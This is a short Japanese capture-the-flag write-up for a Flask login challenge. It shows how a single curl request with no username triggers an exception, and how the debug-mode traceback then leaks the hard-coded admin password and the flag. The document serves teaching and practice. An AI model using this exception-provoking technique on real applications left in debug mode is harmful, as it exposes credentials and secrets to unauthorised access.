Plz Login
## solve
ファイルが提供されているので確認する。username が Admin もしくは admin、password が正しい文字列であれば認証を突破でき、flag.html 内でレンダリングされている FLAG が取得できそうなことがわかる。
app.py
from flask import Flask, request, render_template
import os
import random
FLAG = os.environ.get("FLAG", "Alpaca{**REDACTED**}")
app = Flask(__name__)
app.secret_key = random.randbytes(32).hex()
@app.get("/")
def index():
return render_template("login.html")
@app.post("/login")
def login():
username = request.form.get("username", "")
password = request.form.get("password", "")
if username[0] not in "aA" or username[1:] != "dmin" or password != "**REDACTED**":
return render_template("login.html", error="You are not Admin"), 401
return render_template("flag.html", flag=FLAG)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=3000, debug=True)
ただ、SQLi という感じでもなく、本当に正しいものを入れる必要がありそうだ。app.run(host="0.0.0.0", port=3000, debug=True) でデバッグモードで起動されているところに着目し、例外を誘発することで該当箇所を露出させることができる。
bash
> curl -i -X POST http://34.170.146.252:21126/login -d 'password=x'
...
Traceback (most recent call last):
File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 1536, in __call__
return self.wsgi_app(environ, start_response)
~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 1514, in wsgi_app
response = self.handle_exception(e)
File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 1511, in wsgi_app
response = self.full_dispatch_request()
File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 919, in full_dispatch_request
rv = self.handle_user_exception(e)
File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 917, in full_dispatch_request
rv = self.dispatch_request()
File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 902, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args) # type: ignore[no-any-return]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^
File "/app/app.py", line 20, in login
if username[0] not in "aA" or username[1:] != "dmin" or password != "879nmxWwzRA2ekFJ9ulVab8XVgRWk2EN":
~~~~~~~~^^^
IndexError: string index out of range
...
あとはこの password を使ってログインすればよい。
## flag
Alpaca{fulasukuuuuuuuuu_in_d3bug_m0de}